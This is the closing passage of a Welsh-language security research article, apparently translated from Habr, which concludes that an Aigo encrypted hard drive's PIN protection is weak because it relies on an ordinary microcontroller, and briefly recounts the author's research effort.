Peth hwyliog arall y gellir ei wneud yw malu'r achos o'r sglodyn: cymryd dymp SRAM, nodi galwadau system heb eu dogfennu a gwendidau.

9. Casgliad

Felly, mae diogelu'r gyriant hwn yn gadael llawer i'w ddymuno, oherwydd mae'n defnyddio microreolydd rheolaidd (nid “caledu”) i storio'r cod PIN... Hefyd, nid wyf wedi edrych (eto) ar sut mae pethau'n mynd gyda data amgryptio ar y ddyfais hon!

Beth allwch chi ei argymell ar gyfer Aigo? Ar ôl dadansoddi cwpl o fodelau o yriannau HDD wedi'u hamgryptio, yn 2015 fe wnes i cyflwyniad ar SyScan, lle archwiliodd broblemau diogelwch sawl gyriant HDD allanol, a gwnaeth argymhellion ar yr hyn y gellid ei wella ynddynt. 🙂

Treuliais ddau benwythnos a sawl noson yn gwneud yr ymchwil hwn. Cyfanswm o tua 40 awr. Cyfrif o'r cychwyn cyntaf (pan agorais y ddisg) i'r diwedd (dympio cod PIN). Mae'r un 40 awr yn cynnwys yr amser a dreuliais yn ysgrifennu'r erthygl hon. Roedd yn daith gyffrous iawn.

Ffynhonnell: hab.com

Ychwanegu sylw